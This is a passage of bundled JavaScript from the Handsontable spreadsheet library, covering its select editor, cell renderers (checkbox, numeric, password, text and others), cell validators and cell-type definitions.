this.instance.addHook('afterScrollHorizontally', function () { return _this.refreshDimensions(); }); this.instance.addHook('afterScrollVertically', function () { return _this.refreshDimensions(); }); this.instance.addHook('afterColumnResize', function () { return _this.refreshDimensions(); }); this.instance.addHook('afterRowResize', function () { return _this.refreshDimensions(); }); }; SelectEditor.prototype.prepare = function () { var _this2 = this; for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } _baseEditor.default.prototype.prepare.apply(this, args); var selectOptions = this.cellProperties.selectOptions; var options; if (typeof selectOptions === 'function') { options = this.prepareOptions(selectOptions(this.row, this.col, this.prop)); } else { options = this.prepareOptions(selectOptions); } (0, _element.empty)(this.select); (0, _object.objectEach)(options, function (value, key) { var optionElement = document.createElement('OPTION'); optionElement.value = key; (0, _element.fastInnerHTML)(optionElement, value); _this2.select.appendChild(optionElement); }); }; SelectEditor.prototype.prepareOptions = function (optionsToPrepare) { var preparedOptions = {}; if (Array.isArray(optionsToPrepare)) { for (var i = 0, len = optionsToPrepare.length; i < len; i++) { preparedOptions[optionsToPrepare[i]] = optionsToPrepare[i]; } } else if (_typeof(optionsToPrepare) === 'object') { preparedOptions = optionsToPrepare; } return preparedOptions; }; SelectEditor.prototype.getValue = function () { return this.select.value; }; SelectEditor.prototype.setValue = function (value) { this.select.value = value; }; var onBeforeKeyDown = function onBeforeKeyDown(event) { var instance = this; var editor = instance.getActiveEditor(); var previousOptionIndex = editor.select.selectedIndex - 1; var nextOptionIndex = editor.select.selectedIndex + 1; switch (event.keyCode) { case _unicode.KEY_CODES.ARROW_UP: if (previousOptionIndex >= 0) { editor.select[previousOptionIndex].selected = true; } (0, _event.stopImmediatePropagation)(event); event.preventDefault(); break; case _unicode.KEY_CODES.ARROW_DOWN: if (nextOptionIndex <= editor.select.length - 1) { editor.select[nextOptionIndex].selected = true; } (0, _event.stopImmediatePropagation)(event); event.preventDefault(); break; default: break; } }; SelectEditor.prototype.open = function () { this._opened = true; this.refreshDimensions(); this.select.style.display = ''; this.instance.addHook('beforeKeyDown', onBeforeKeyDown); }; SelectEditor.prototype.close = function () { this._opened = false; this.select.style.display = 'none'; this.instance.removeHook('beforeKeyDown', onBeforeKeyDown); }; SelectEditor.prototype.focus = function () { this.select.focus(); }; SelectEditor.prototype.refreshValue = function () { var sourceData = this.instance.getSourceDataAtCell(this.row, this.prop); this.originalValue = sourceData; this.setValue(sourceData); this.refreshDimensions(); }; SelectEditor.prototype.refreshDimensions = function () { if (this.state !== _baseEditor.EditorState.EDITING) { return; } this.TD = this.getEditedCell(); // TD is outside of the viewport. if (!this.TD) { this.close(); return; } var currentOffset = (0, _element.offset)(this.TD); var containerOffset = (0, _element.offset)(this.instance.rootElement); var scrollableContainer = (0, _element.getScrollableElement)(this.TD); var editorSection = this.checkEditorSection(); var width = (0, _element.outerWidth)(this.TD) + 1; var height = (0, _element.outerHeight)(this.TD) + 1; var editTop = currentOffset.top - containerOffset.top - 1 - (scrollableContainer.scrollTop || 0); var editLeft = currentOffset.left - containerOffset.left - 1 - (scrollableContainer.scrollLeft || 0); var cssTransformOffset; switch (editorSection) { case 'top': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.topOverlay.clone.wtTable.holder.parentNode); break; case 'left': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.leftOverlay.clone.wtTable.holder.parentNode); break; case 'top-left-corner': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.topLeftCornerOverlay.clone.wtTable.holder.parentNode); break; case 'bottom-left-corner': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.bottomLeftCornerOverlay.clone.wtTable.holder.parentNode); break; case 'bottom': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.bottomOverlay.clone.wtTable.holder.parentNode); break; default: break; } if (this.instance.getSelectedLast()[0] === 0) { editTop += 1; } if (this.instance.getSelectedLast()[1] === 0) { editLeft += 1; } var selectStyle = this.select.style; if (cssTransformOffset && cssTransformOffset !== -1) { selectStyle[cssTransformOffset[0]] = cssTransformOffset[1]; } else { (0, _element.resetCssTransform)(this.select); } var cellComputedStyle = (0, _element.getComputedStyle)(this.TD); if (parseInt(cellComputedStyle.borderTopWidth, 10) > 0) { height -= 1; } if (parseInt(cellComputedStyle.borderLeftWidth, 10) > 0) { width -= 1; } selectStyle.height = "".concat(height, "px"); selectStyle.minWidth = "".concat(width, "px"); selectStyle.top = "".concat(editTop, "px"); selectStyle.left = "".concat(editLeft, "px"); selectStyle.margin = '0px'; }; SelectEditor.prototype.getEditedCell = function () { var editorSection = this.checkEditorSection(); var editedCell; switch (editorSection) { case 'top': editedCell = this.instance.view.wt.wtOverlays.topOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.select.style.zIndex = 101; break; case 'corner': editedCell = this.instance.view.wt.wtOverlays.topLeftCornerOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.select.style.zIndex = 103; break; case 'left': editedCell = this.instance.view.wt.wtOverlays.leftOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.select.style.zIndex = 102; break; default: editedCell = this.instance.getCell(this.row, this.col); this.select.style.zIndex = ''; break; } return editedCell !== -1 && editedCell !== -2 ? editedCell : void 0; }; var _default = SelectEditor; exports.default = _default; /***/ }), /* 624 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); /** * Adds appropriate CSS class to table cell, based on cellProperties */ function cellDecorator(instance, TD, row, col, prop, value, cellProperties) { var classesToAdd = []; var classesToRemove = []; if (cellProperties.className) { if (TD.className) { TD.className = "".concat(TD.className, " ").concat(cellProperties.className); } else { TD.className = cellProperties.className; } } if (cellProperties.readOnly) { classesToAdd.push(cellProperties.readOnlyCellClassName); } if (cellProperties.valid === false && cellProperties.invalidCellClassName) { classesToAdd.push(cellProperties.invalidCellClassName); } else { classesToRemove.push(cellProperties.invalidCellClassName); } if (cellProperties.wordWrap === false && cellProperties.noWordWrapClassName) { classesToAdd.push(cellProperties.noWordWrapClassName); } if (!value && cellProperties.placeholder) { classesToAdd.push(cellProperties.placeholderCellClassName); } (0, _element.removeClass)(TD, classesToRemove); (0, _element.addClass)(TD, classesToAdd); } var _default = cellDecorator; exports.default = _default; /***/ }), /* 625 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _src = __webpack_require__(8); var _index = __webpack_require__(19); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var clonableWRAPPER = document.createElement('DIV'); clonableWRAPPER.className = 'htAutocompleteWrapper'; var clonableARROW = document.createElement('DIV'); clonableARROW.className = 'htAutocompleteArrow'; // workaround for https://github.com/handsontable/handsontable/issues/1946 // this is faster than innerHTML. See: https://github.com/handsontable/handsontable/wiki/JavaScript-&-DOM-performance-tips clonableARROW.appendChild(document.createTextNode(String.fromCharCode(9660))); /** * Autocomplete renderer * * @private * @renderer AutocompleteRenderer * @param {Object} instance Handsontable instance * @param {Element} TD Table cell where to render * @param {Number} row * @param {Number} col * @param {String|Number} prop Row object property name * @param value Value to render (remember to escape unsafe HTML before inserting to DOM!) * @param {Object} cellProperties Cell properites (shared by cell renderer and editor) */ function autocompleteRenderer(instance, TD, row, col, prop, value, cellProperties) { var rendererType = cellProperties.allowHtml ? 'html' : 'text'; var ARROW = clonableARROW.cloneNode(true); // this is faster than createElement for (var _len = arguments.length, args = new Array(_len > 7 ? _len - 7 : 0), _key = 7; _key < _len; _key++) { args[_key - 7] = arguments[_key]; } (0, _index.getRenderer)(rendererType).apply(this, [instance, TD, row, col, prop, value, cellProperties].concat(args)); if (!TD.firstChild) { // http://jsperf.com/empty-node-if-needed // otherwise empty fields appear borderless in demo/renderers.html (IE) TD.appendChild(document.createTextNode(String.fromCharCode(160))); // workaround for https://github.com/handsontable/handsontable/issues/1946 // this is faster than innerHTML. See: https://github.com/handsontable/handsontable/wiki/JavaScript-&-DOM-performance-tips } TD.insertBefore(ARROW, TD.firstChild); (0, _element.addClass)(TD, 'htAutocomplete'); if (!instance.acArrowListener) { var eventManager = new _eventManager.default(instance); // not very elegant but easy and fast instance.acArrowListener = function (event) { if ((0, _element.hasClass)(event.target, 'htAutocompleteArrow')) { instance.view.wt.getSetting('onCellDblClick', null, new _src.CellCoords(row, col), TD); } }; eventManager.addEventListener(instance.rootElement, 'mousedown', instance.acArrowListener); // We need to unbind the listener after the table has been destroyed instance.addHookOnce('afterDestroy', function () { eventManager.destroy(); }); } } var _default = autocompleteRenderer; exports.default = _default; /***/ }), /* 626 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _string = __webpack_require__(48); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _unicode = __webpack_require__(32); var _function = __webpack_require__(59); var _event = __webpack_require__(18); var _index = __webpack_require__(19); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var isListeningKeyDownEvent = new WeakMap(); var isCheckboxListenerAdded = new WeakMap(); var BAD_VALUE_CLASS = 'htBadValue'; /** * Checkbox renderer * * @private * @param {Object} instance Handsontable instance * @param {Element} TD Table cell where to render * @param {Number} row * @param {Number} col * @param {String|Number} prop Row object property name * @param value Value to render (remember to escape unsafe HTML before inserting to DOM!) * @param {Object} cellProperties Cell properties (shared by cell renderer and editor) */ function checkboxRenderer(instance, TD, row, col, prop, value, cellProperties) { for (var _len = arguments.length, args = new Array(_len > 7 ? _len - 7 : 0), _key = 7; _key < _len; _key++) { args[_key - 7] = arguments[_key]; } (0, _index.getRenderer)('base').apply(this, [instance, TD, row, col, prop, value, cellProperties].concat(args)); registerEvents(instance); var input = createInput(); var labelOptions = cellProperties.label; var badValue = false; if (typeof cellProperties.checkedTemplate === 'undefined') { cellProperties.checkedTemplate = true; } if (typeof cellProperties.uncheckedTemplate === 'undefined') { cellProperties.uncheckedTemplate = false; } (0, _element.empty)(TD); // TODO identify under what circumstances this line can be removed if (value === cellProperties.checkedTemplate || (0, _string.equalsIgnoreCase)(value, cellProperties.checkedTemplate)) { input.checked = true; } else if (value === cellProperties.uncheckedTemplate || (0, _string.equalsIgnoreCase)(value, cellProperties.uncheckedTemplate)) { input.checked = false; } else if (value === null) { // default value (0, _element.addClass)(input, 'noValue'); } else { input.style.display = 'none'; (0, _element.addClass)(input, BAD_VALUE_CLASS); badValue = true; } input.setAttribute('data-row', row); input.setAttribute('data-col', col); if (!badValue && labelOptions) { var labelText = ''; if (labelOptions.value) { labelText = typeof labelOptions.value === 'function' ? labelOptions.value.call(this, row, col, prop, value) : labelOptions.value; } else if (labelOptions.property) { labelText = instance.getDataAtRowProp(row, labelOptions.property); } var label = createLabel(labelText); if (labelOptions.position === 'before') { label.appendChild(input); } else { label.insertBefore(input, label.firstChild); } input = label; } TD.appendChild(input); if (badValue) { TD.appendChild(document.createTextNode('#bad-value#')); } if (!isListeningKeyDownEvent.has(instance)) { isListeningKeyDownEvent.set(instance, true); instance.addHook('beforeKeyDown', onBeforeKeyDown); } /** * On before key down DOM listener. * * @private * @param {Event} event */ function onBeforeKeyDown(event) { var toggleKeys = 'SPACE|ENTER'; var switchOffKeys = 'DELETE|BACKSPACE'; var isKeyCode = (0, _function.partial)(_unicode.isKey, event.keyCode); if (!instance.getSettings().enterBeginsEditing && isKeyCode('ENTER')) { return; } if (isKeyCode("".concat(toggleKeys, "|").concat(switchOffKeys)) && !(0, _event.isImmediatePropagationStopped)(event)) { eachSelectedCheckboxCell(function () { (0, _event.stopImmediatePropagation)(event); event.preventDefault(); }); } if (isKeyCode(toggleKeys)) { changeSelectedCheckboxesState(); } if (isKeyCode(switchOffKeys)) { changeSelectedCheckboxesState(true); } } /** * Change checkbox checked property * * @private * @param {Boolean} [uncheckCheckbox=false] */ function changeSelectedCheckboxesState() { var uncheckCheckbox = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var selRange = instance.getSelectedRangeLast(); if (!selRange) { return; } var _selRange$getTopLeftC = selRange.getTopLeftCorner(), startRow = _selRange$getTopLeftC.row, startColumn = _selRange$getTopLeftC.col; var _selRange$getBottomRi = selRange.getBottomRightCorner(), endRow = _selRange$getBottomRi.row, endColumn = _selRange$getBottomRi.col; var changes = []; for (var visualRow = startRow; visualRow <= endRow; visualRow += 1) { for (var visualColumn = startColumn; visualColumn <= endColumn; visualColumn += 1) { var cachedCellProperties = instance.getCellMeta(visualRow, visualColumn); if (cachedCellProperties.type !== 'checkbox') { return; } /* eslint-disable no-continue */ if (cachedCellProperties.readOnly === true) { continue; } if (typeof cachedCellProperties.checkedTemplate === 'undefined') { cachedCellProperties.checkedTemplate = true; } if (typeof cachedCellProperties.uncheckedTemplate === 'undefined') { cachedCellProperties.uncheckedTemplate = false; } var dataAtCell = instance.getDataAtCell(visualRow, visualColumn); if (uncheckCheckbox === false) { if ([cachedCellProperties.checkedTemplate, cachedCellProperties.checkedTemplate.toString()].includes(dataAtCell)) { changes.push([visualRow, visualColumn, cachedCellProperties.uncheckedTemplate]); } else if ([cachedCellProperties.uncheckedTemplate, cachedCellProperties.uncheckedTemplate.toString(), null, void 0].includes(dataAtCell)) { changes.push([visualRow, visualColumn, cachedCellProperties.checkedTemplate]); } } else { changes.push([visualRow, visualColumn, cachedCellProperties.uncheckedTemplate]); } } } if (changes.length > 0) { instance.setDataAtCell(changes); } } /** * Call callback for each found selected cell with checkbox type. * * @private * @param {Function} callback */ function eachSelectedCheckboxCell(callback) { var selRange = instance.getSelectedRangeLast(); if (!selRange) { return; } var topLeft = selRange.getTopLeftCorner(); var bottomRight = selRange.getBottomRightCorner(); for (var visualRow = topLeft.row; visualRow <= bottomRight.row; visualRow++) { for (var visualColumn = topLeft.col; visualColumn <= bottomRight.col; visualColumn++) { var cachedCellProperties = instance.getCellMeta(visualRow, visualColumn); if (cachedCellProperties.type !== 'checkbox') { return; } var cell = instance.getCell(visualRow, visualColumn); if (cell === null || cell === void 0) { callback(visualRow, visualColumn, cachedCellProperties); } else { var checkboxes = cell.querySelectorAll('input[type=checkbox]'); if (checkboxes.length > 0 && !cachedCellProperties.readOnly) { callback(checkboxes); } } } } } } /** * Register checkbox listeners. * * @param {Handsontable} instance Handsontable instance. * @returns {EventManager} */ function registerEvents(instance) { var eventManager = isCheckboxListenerAdded.get(instance); if (!eventManager) { eventManager = new _eventManager.default(instance); eventManager.addEventListener(instance.rootElement, 'click', function (event) { return onClick(event, instance); }); eventManager.addEventListener(instance.rootElement, 'mouseup', function (event) { return onMouseUp(event, instance); }); eventManager.addEventListener(instance.rootElement, 'change', function (event) { return onChange(event, instance); }); isCheckboxListenerAdded.set(instance, eventManager); } return eventManager; } /** * Create input element. * * @returns {Node} */ function createInput() { var input = document.createElement('input'); input.className = 'htCheckboxRendererInput'; input.type = 'checkbox'; input.setAttribute('autocomplete', 'off'); input.setAttribute('tabindex', '-1'); return input.cloneNode(false); } /** * Create label element. * * @returns {Node} */ function createLabel(text) { var label = document.createElement('label'); label.className = 'htCheckboxRendererLabel'; label.appendChild(document.createTextNode(text)); return label.cloneNode(true); } /** * `mouseup` callback. * * @private * @param {Event} event `mouseup` event. * @param {Object} instance Handsontable instance. */ function onMouseUp(event, instance) { if (!isCheckboxInput(event.target)) { return; } setTimeout(instance.listen, 10); } /** * `click` callback. * * @private * @param {Event} event `click` event. * @param {Object} instance Handsontable instance. */ function onClick(event, instance) { if (!isCheckboxInput(event.target)) { return false; } var row = parseInt(event.target.getAttribute('data-row'), 10); var col = parseInt(event.target.getAttribute('data-col'), 10); var cellProperties = instance.getCellMeta(row, col); if (cellProperties.readOnly) { event.preventDefault(); } } /** * `change` callback. * * @param {Event} event `change` event. * @param {Object} instance Handsontable instance. * @param {Object} cellProperties Reference to cell properties. * @returns {Boolean} */ function onChange(event, instance) { if (!isCheckboxInput(event.target)) { return false; } var row = parseInt(event.target.getAttribute('data-row'), 10); var col = parseInt(event.target.getAttribute('data-col'), 10); var cellProperties = instance.getCellMeta(row, col); if (!cellProperties.readOnly) { var newCheckboxValue = null; if (event.target.checked) { newCheckboxValue = cellProperties.uncheckedTemplate === void 0 ? true : cellProperties.checkedTemplate; } else { newCheckboxValue = cellProperties.uncheckedTemplate === void 0 ? false : cellProperties.uncheckedTemplate; } instance.setDataAtCell(row, col, newCheckboxValue); } } /** * Check if the provided element is the checkbox input. * * @private * @param {HTMLElement} element The element in question. * @returns {Boolean} */ function isCheckboxInput(element) { return element.tagName === 'INPUT' && element.getAttribute('type') === 'checkbox'; } var _default = checkboxRenderer; exports.default = _default; /***/ }), /* 627 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _index = __webpack_require__(19); /** * @private * @renderer HtmlRenderer * @param instance * @param TD * @param row * @param col * @param prop * @param value * @param cellProperties */ function htmlRenderer(instance, TD, row, col, prop, value) { for (var _len = arguments.length, args = new Array(_len > 6 ? _len - 6 : 0), _key = 6; _key < _len; _key++) { args[_key - 6] = arguments[_key]; } (0, _index.getRenderer)('base').apply(this, [instance, TD, row, col, prop, value].concat(args)); (0, _element.fastInnerHTML)(TD, value === null || value === void 0 ? '' : value); } var _default = htmlRenderer; exports.default = _default; /***/ }), /* 628 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _numbro = _interopRequireDefault(__webpack_require__(420)); var _index = __webpack_require__(19); var _number = __webpack_require__(9); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * Numeric cell renderer * * @private * @renderer NumericRenderer * @param {Object} instance Handsontable instance * @param {Element} TD Table cell where to render * @param {Number} row * @param {Number} col * @param {String|Number} prop Row object property name * @param value Value to render (remember to escape unsafe HTML before inserting to DOM!) * @param {Object} cellProperties Cell properties (shared by cell renderer and editor) */ function numericRenderer(instance, TD, row, col, prop, value, cellProperties) { var newValue = value; if ((0, _number.isNumeric)(newValue)) { var numericFormat = cellProperties.numericFormat; var cellCulture = numericFormat && numericFormat.culture || '-'; var cellFormatPattern = numericFormat && numericFormat.pattern; var className = cellProperties.className || ''; var classArr = className.length ? className.split(' ') : []; if (typeof cellCulture !== 'undefined' && !_numbro.default.languages()[cellCulture]) { var shortTag = cellCulture.replace('-', ''); var langData = _numbro.default.allLanguages ? _numbro.default.allLanguages[cellCulture] : _numbro.default[shortTag]; if (langData) { _numbro.default.registerLanguage(langData); } } _numbro.default.setLanguage(cellCulture); newValue = (0, _numbro.default)(newValue).format(cellFormatPattern || '0'); if (classArr.indexOf('htLeft') < 0 && classArr.indexOf('htCenter') < 0 && classArr.indexOf('htRight') < 0 && classArr.indexOf('htJustify') < 0) { classArr.push('htRight'); } if (classArr.indexOf('htNumeric') < 0) { classArr.push('htNumeric'); } cellProperties.className = classArr.join(' '); } (0, _index.getRenderer)('text')(instance, TD, row, col, prop, newValue, cellProperties); } var _default = numericRenderer; exports.default = _default; /***/ }), /* 629 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _index = __webpack_require__(19); var _number = __webpack_require__(9); /** * @private * @renderer PasswordRenderer * @param instance * @param TD * @param row * @param col * @param prop * @param value * @param cellProperties */ function passwordRenderer(instance, TD, row, col, prop, value, cellProperties) { for (var _len = arguments.length, args = new Array(_len > 7 ? _len - 7 : 0), _key = 7; _key < _len; _key++) { args[_key - 7] = arguments[_key]; } (0, _index.getRenderer)('text').apply(this, [instance, TD, row, col, prop, value, cellProperties].concat(args)); var hashLength = cellProperties.hashLength || TD.innerHTML.length; var hashSymbol = cellProperties.hashSymbol || '*'; var hash = ''; (0, _number.rangeEach)(hashLength - 1, function () { hash += hashSymbol; }); (0, _element.fastInnerHTML)(TD, hash); } var _default = passwordRenderer; exports.default = _default; /***/ }), /* 630 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _mixed = __webpack_require__(14); var _index = __webpack_require__(19); /** * Default text renderer * * @private * @renderer TextRenderer * @param {Object} instance Handsontable instance * @param {Element} TD Table cell where to render * @param {Number} row * @param {Number} col * @param {String|Number} prop Row object property name * @param value Value to render (remember to escape unsafe HTML before inserting to DOM!) * @param {Object} cellProperties Cell properties (shared by cell renderer and editor) */ function textRenderer(instance, TD, row, col, prop, value, cellProperties) { for (var _len = arguments.length, args = new Array(_len > 7 ? _len - 7 : 0), _key = 7; _key < _len; _key++) { args[_key - 7] = arguments[_key]; } (0, _index.getRenderer)('base').apply(this, [instance, TD, row, col, prop, value, cellProperties].concat(args)); var escaped = value; if (!escaped && cellProperties.placeholder) { escaped = cellProperties.placeholder; } escaped = (0, _mixed.stringify)(escaped); if (!instance.getSettings().trimWhitespace) { escaped = escaped.replace(/ /g, String.fromCharCode(160)); } if (cellProperties.rendererTemplate) { (0, _element.empty)(TD); var TEMPLATE = document.createElement('TEMPLATE'); TEMPLATE.setAttribute('bind', '{{}}'); TEMPLATE.innerHTML = cellProperties.rendererTemplate; HTMLTemplateElement.decorate(TEMPLATE); TEMPLATE.model = instance.getSourceDataAtRow(row); TD.appendChild(TEMPLATE); } else { // this is faster than innerHTML. See: https://github.com/handsontable/handsontable/wiki/JavaScript-&-DOM-performance-tips (0, _element.fastInnerText)(TD, escaped); } } var _default = textRenderer; exports.default = _default; /***/ }), /* 631 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = autocompleteValidator; /** * Autocomplete cell validator. * * @private * @validator AutocompleteValidator * @param {*} value - Value of edited cell * @param {Function} callback - Callback called with validation result */ function autocompleteValidator(value, callback) { var valueToValidate = value; if (valueToValidate === null || valueToValidate === void 0) { valueToValidate = ''; } if (this.allowEmpty && valueToValidate === '') { callback(true); return; } if (this.strict && this.source) { if (typeof this.source === 'function') { this.source(valueToValidate, process(valueToValidate, callback)); } else { process(valueToValidate, callback)(this.source); } } else { callback(true); } } /** * Function responsible for validation of autocomplete value. * * @param {*} value - Value of edited cell * @param {Function} callback - Callback called with validation result */ function process(value, callback) { var originalVal = value; return function (source) { var found = false; for (var s = 0, slen = source.length; s < slen; s++) { if (originalVal === source[s]) { found = true; // perfect match break; } } callback(found); }; } /***/ }), /* 632 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = dateValidator; exports.correctFormat = correctFormat; var _moment = _interopRequireDefault(__webpack_require__(67)); var _date = __webpack_require__(421); var _editors = __webpack_require__(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * Date cell validator * * @private * @validator DateValidator * @param {*} value - Value of edited cell * @param {Function} callback - Callback called with validation result */ function dateValidator(value, callback) { var dateEditor = (0, _editors.getEditorInstance)('date', this.instance); var valueToValidate = value; var valid = true; if (valueToValidate === null || valueToValidate === void 0) { valueToValidate = ''; } var isValidDate = (0, _moment.default)(new Date(valueToValidate)).isValid() || (0, _moment.default)(valueToValidate, this.dateFormat || dateEditor.defaultDateFormat, true).isValid(); // is it in the specified format var isValidFormat = (0, _moment.default)(valueToValidate, this.dateFormat || dateEditor.defaultDateFormat, true).isValid(); if (this.allowEmpty && valueToValidate === '') { isValidDate = true; isValidFormat = true; } if (!isValidDate) { valid = false; } if (!isValidDate && isValidFormat) { valid = true; } if (isValidDate && !isValidFormat) { if (this.correctFormat === true) { // if format correction is enabled var correctedValue = correctFormat(valueToValidate, this.dateFormat); var row = this.instance.runHooks('unmodifyRow', this.row); var column = this.instance.runHooks('unmodifyCol', this.col); this.instance.setDataAtCell(row, column, correctedValue, 'dateValidator'); valid = true; } else { valid = false; } } callback(valid); } /** * Format the given string using moment.js' format feature * * @param {String} value * @param {String} dateFormat * @returns {String} */ function correctFormat(value, dateFormat) { var dateFromDate = (0, _moment.default)((0, _date.getNormalizedDate)(value)); var dateFromMoment = (0, _moment.default)(value, dateFormat); var isAlphanumeric = value.search(/[A-z]/g) > -1; var date; if (dateFromDate.isValid() && dateFromDate.format('x') === dateFromMoment.format('x') || !dateFromMoment.isValid() || isAlphanumeric) { date = dateFromDate; } else { date = dateFromMoment; } return date.format(dateFormat); } /***/ }), /* 633 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = numericValidator; var _number = __webpack_require__(9); /** * Numeric cell validator * * @private * @validator NumericValidator * @param {*} value - Value of edited cell * @param {*} callback - Callback called with validation result */ function numericValidator(value, callback) { var valueToValidate = value; if (valueToValidate === null || valueToValidate === void 0) { valueToValidate = ''; } if (this.allowEmpty && valueToValidate === '') { callback(true); } else if (valueToValidate === '') { callback(false); } else { callback((0, _number.isNumeric)(value)); } } /***/ }), /* 634 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = timeValidator; var _moment = _interopRequireDefault(__webpack_require__(67)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // Formats which are correctly parsed to time (supported by momentjs) var STRICT_FORMATS = ['YYYY-MM-DDTHH:mm:ss.SSSZ', 'X', // Unix timestamp 'x' // Unix ms timestamp ]; /** * Time cell validator * * @private * @validator TimeValidator * @param {*} value - Value of edited cell * @param {Function} callback - Callback called with validation result */ function timeValidator(value, callback) { var timeFormat = this.timeFormat || 'h:mm:ss a'; var valid = true; var valueToValidate = value; if (valueToValidate === null) { valueToValidate = ''; } valueToValidate = /^\d{3,}$/.test(valueToValidate) ? parseInt(valueToValidate, 10) : valueToValidate; var twoDigitValue = /^\d{1,2}$/.test(valueToValidate); if (twoDigitValue) { valueToValidate += ':00'; } var date = (0, _moment.default)(valueToValidate, STRICT_FORMATS, true).isValid() ? (0, _moment.default)(valueToValidate) : (0, _moment.default)(valueToValidate, timeFormat); var isValidTime = date.isValid(); // is it in the specified format var isValidFormat = (0, _moment.default)(valueToValidate, timeFormat, true).isValid() && !twoDigitValue; if (this.allowEmpty && valueToValidate === '') { isValidTime = true; isValidFormat = true; } if (!isValidTime) { valid = false; } if (!isValidTime && isValidFormat) { valid = true; } if (isValidTime && !isValidFormat) { if (this.correctFormat === true) { // if format correction is enabled var correctedValue = date.format(timeFormat); var row = this.instance.runHooks('unmodifyRow', this.row); var column = this.instance.runHooks('unmodifyCol', this.col); this.instance.setDataAtCell(row, column, correctedValue, 'timeValidator'); valid = true; } else { valid = false; } } callback(valid); } /***/ }), /* 635 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var CELL_TYPE = 'autocomplete'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), renderer: (0, _renderers.getRenderer)(CELL_TYPE), validator: (0, _validators.getValidator)(CELL_TYPE) }; exports.default = _default; /***/ }), /* 636 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var CELL_TYPE = 'checkbox'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), renderer: (0, _renderers.getRenderer)(CELL_TYPE) }; exports.default = _default; /***/ }), /* 637 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var CELL_TYPE = 'date'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), // displays small gray arrow on right side of the cell renderer: (0, _renderers.getRenderer)('autocomplete'), validator: (0, _validators.getValidator)(CELL_TYPE) }; exports.default = _default; /***/ }), /* 638 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var CELL_TYPE = 'dropdown'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), // displays small gray arrow on right side of the cell renderer: (0, _renderers.getRenderer)('autocomplete'), validator: (0, _validators.getValidator)('autocomplete') }; exports.default = _default; /***/ }), /* 639 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var CELL_TYPE = 'handsontable'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), // displays small gray arrow on right side of the cell renderer: (0, _renderers.getRenderer)('autocomplete') }; exports.default = _default; /***/ }), /* 640 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var CELL_TYPE = 'numeric'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), renderer: (0, _renderers.getRenderer)(CELL_TYPE), validator: (0, _validators.getValidator)(CELL_TYPE), dataType: 'number' }; exports.default = _default; /***/ }), /* 641 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var CELL_TYPE = 'password'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), renderer: (0, _renderers.getRenderer)(CELL_TYPE), copyable: false }; exports.default = _default; /***/ }), /* 642 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var CELL_TYPE = 'text'; var _default = { editor: (0, _editors.getEditor)(CELL_TYPE), renderer: (0, 